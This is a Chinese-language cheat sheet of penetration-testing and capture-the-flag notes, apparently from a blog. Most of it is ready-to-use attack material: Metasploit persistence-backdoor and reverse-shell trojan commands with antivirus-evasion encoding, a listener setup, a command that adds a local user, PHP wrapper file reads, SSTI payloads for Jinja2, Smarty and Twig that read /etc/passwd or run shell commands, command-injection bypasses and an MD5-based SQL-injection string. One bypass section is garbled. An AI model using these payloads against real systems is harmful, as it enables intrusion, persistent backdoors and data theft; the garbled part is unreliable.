渗透测试随笔

  • Linux命令:
    exit查看防火墙:netsh advfirewall show allprofile state
    开/关防火墙:netsh advfirewall set allprofile state on/off
    查询用户:net user
    添加用户:net user wxq 123456 /add
    查看本地组:net localgroup
    查看组用户:net localgroup administrators
    解决命令行乱码:chcp 65001

  • 持久化后门(msfconsole):
    run persistence -U -i 5 -p 443 -r 192.168.1.71 //攻击机ip
    ####################################################
    -A 自动启动一个匹配的exploit / multi / handler来连接到代理
    -L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
    -P 有效负载使用,默认为windows / meterpreter / reverse_tcp。
    -S 作为服务自动启动代理程序(具有SYSTEM权限)
    -T 要使用的备用可执行模板
    -U 用户登录时自动启动代理
    -X 系统引导时自动启动代理程序
    -h 这个帮助菜单
    -i 每次连接尝试之间的时间间隔(秒)
    -p 运行Metasploit的系统正在侦听的端口
    -r 运行Metasploit监听连接的系统的IP
    ####################################################
    清除持久化命令脚本:
    run multi_console_command -r /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc

  • msfvenom生成木马监听程序:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f exe > shell.exe
    ####################################################
    -p, --payload 指定需要使用的payload。使用自定义的payload,请使用-;或者stdin指定
    -l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled 为payload预先指定一个NOP滑动长度
    -f, --format 指定输出格式
    -e, --encoder 指定需要使用的编码
    -a, --arch 指定payload的目标架构 x64 x86
    –platform 指定payload的目标平台
    -s, --space 设定有效攻击荷载的最大长度
    -b, --bad-chars 设定规避字符集,比如: & #039;\x00\xff& #039;
    -i, --iterations 指定payload的编码次数,绕杀毒
    -c, --add-code 指定一个附加的win32 shellcode文件
    -x, --template 指定一个自定义的可执行文件作为模板
    -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
    –payload-options 列举payload的标准选项
    -o, --out 保存payload
    -v, --var-name 指定一个自定义的变量,以确定输出格式
    –shellest 最小化生成payload
    ####################################################

  • 后门利用:
    msfconsole
    msf>use exploit/multi/handler ====>“handler”这个模块专门就是来做被动监听的,诱使目标执行任何木马后都可以用这个模块进行连接。(假如目标设备运行的meterpreter/reverse_tcp这个木马,则在服务端handler也set这个木马为payload即可)
    msf>set PAYLOAD windows/meterpreter/reverse_tcp
    msf>set LHOST 192.168.1.71 //攻击机ip
    msf>set LPORT 123
    msf>set exitonsession false ===>这个如果不设置为false的话,只要建立了一个session后就不再继续监听,想要再连接其他session需要再次run。反之,如果设为false,建立了一个session后还会继续监听,无需run即可建立多个session。
    msf>set AutoRunScript migrate -N explorer.exe ===>一般模块都有AutoRunScript参数(需show advanced查看),此参数作用是:建立连接后自动执行后面的命令,此处即“migrate -N explorer.exe”
    msf>run

  • 开放443端口:
    C:\Windows\system32>netsh firewall add portopening TCP 443 ENABLE

  • php伪协议
    ?file=php://filter/read=convert.base64-encode/resource=index.php
    php://input
    ?text=data://text/plain,welcome to the zjctf
    过滤器
    字符串过滤器
    该类通常以string开头,对每个字符都进行同样方式的处理。
    string.rot13
    一种字符处理方式,字符右移十三位。
    string.toupper
    将所有字符转换为大写。
    string.tolower
    将所有字符转换为小写。
    string.strip_tags
    这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。
    转换过滤器
    对数据流进行编码,通常用来读取文件源码。
    convert.base64-encode & convert.base64-decode
    base64加密解密
    convert.quoted-printable-encode & convert.quoted-printable-decode

php命令执行函数有:

>     exec — 执行一个外部程序
>     passthru — 执行外部程序并且显示原始输出
>     proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码
>     proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
>     popen — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
>     proc_terminate — 杀除由 proc_open 打开的进程
>     shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
>     system — 执行外部程序,并且显示输出
>     scandir 列出指定路径中的文件和目录
>     eval — 把字符串作为PHP代码执行
>     assert --函数直接将传入的参数当成PHP代码执行
  • linux查看文件的命令

cat tac more less head tail nl static-sh paste od bzmore bzless

  • php文件读取函数

    printr() fread() fgets() var_dump(file_get_contents()) file_get_contents():把整个文件读入到一个字符串中

    //数组操作函数:

     end():数组指针指向最后一位
     next(): 数组指针指向下一位
     array_reverse(): 将数组颠倒
     array_rand(): 随机返回数组的键名
     array_flip():交换数组的键和值
    

    //读取文件函数

     file_get_contents() :因为et被ban,所以不能使用
     readfile()
     highlight_file()
     show_source()
    

scandir(’.’):扫描当前目录 localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
pos(),current():返回数组第一个值
scandir(pos(localeconv())) => scandir(‘.’)

使用passthru函数找到flag文件,并读取flag文件内容 /index.php?a={passthru(“ls -al /”)} /index.php?f={fread(fopen(“/_13075”,“r”),4096)}

  • MD5和strcmp绕过
    MD5、sha1不支持数组,结果均为NULL
    strcmp(str1,str2):两字符串相等返回0,str1>str2,返回正数,否则返回负数。若比较的是数组,无论是否相等都返回0。

  • 序列化和反序列化
    __construct() 创建对象时调用
    __destruct() 销毁对象时调用
    __toString() 当一个对象被当作一个字符串使用
    __sleep() 在对象在被序列化之前运行
    __wakeup 将在序列化之后立即被调用

O:3:"Ctf":3:{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象,序列化数组则用A来表示
3代表类名字占三个字符 ctf 类名 3 代表三个属性 s代表字符串
4代表属性名长度 flag属性名 s:13:“flag{abedyui}” 字符串 属性值长度 属性值

public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:\00*\00属性名
private属性被序列化的时候属性值会变成:\00类名\00属性名

O:4:"Name":2:{s:14:"\00Name\00username";s:5:"admin";s:14:"\00Name\00password";i:100;}//这里是private属性被序列化
  • SSTI
    在这里插入图片描述
  • php Smarty模板注入
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} 
  • ssti flask Jinjia2注入
    存在Flask框架,可能存在SSTI模板注入漏洞。 详情https://www.freebuf.com/column/187845.html
    SSTI注入模板:{undefined{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}//[40]:基类中读取文件引用的索引号。
    不含os模块的类warnings.catch_warnings
      进行命令执行
    a. 目录读取
    {{[].class.base.subclasses()[59].init[‘glo’+'bals’][‘builtins’]‘eval’}}

内含os模块的类 class’site._Printer’
a. 目录查询
{{[].class.base.subclasses()[71].init[‘glo’+'bals’][‘os’].popen(‘ls’).read()}}

读取源码:

{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}

查看根目录:

{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

使用request绕过class、subclasses、read等关键字:

   {{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

class 返回类型所属的对象
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用

eg:
web进阶16.shrine
/shrine/{{get_flashed_messages.globals[‘current_app’].config[‘FLAG’]}}

  • Twig注入:
    {{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}

  • render渲染框架:{{handler.settings}}获取请求cookie等信息

  • 序列化字符串逃逸
    https://blog.csdn.net/qq_25755011/article/details/115950424

  • url字符绕过
    空格:$IFS 1 反单引号: ‘ ‘ ? i p = 127.0.0.1 ; c a t 1 反单引号:`` ?ip=127.0.0.1;cat 1反单引号:‘‘?ip=127.0.0.1;catIFS 1 ‘ l s ‘ 方法名叫内联执行方法 : 将反引号内命令的输出作为输入执行 ? i p = 127.0.0.1 ; e c h o 1`ls` 方法名叫内联执行 方法:将反引号内命令的输出作为输入执行 ?ip=127.0.0.1;echo 1‘ls方法名叫内联执行方法:将反引号内命令的输出作为输入执行?ip=127.0.0.1;echoIFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS$1-d|sh
    Y2F0IGZsYWcucGhw为cat flag.php base64编码

  • 备份文件: .git .svn .swp .~ .bak .bash_history

若后台数据库采用select * from ‘user’ where password=md5($passwd)做密码校验时:
使用MD5(ffifdyop)=276f722736c95d99e921722cf9ed621c,16进制转为字符串为:'or’6É]™é!r,ùíb
select * from ‘user’ where password=‘'or’6’ 结果为true。

md5(CbDLytmyGm2xQyaLNhWn)=0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn))=0e3a5f2a80db371d4610b8f940d2
96af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk)=0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk))=0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM)=0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM))=0e48d320b2a97ab295f5c4694759889f

0e215962017

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值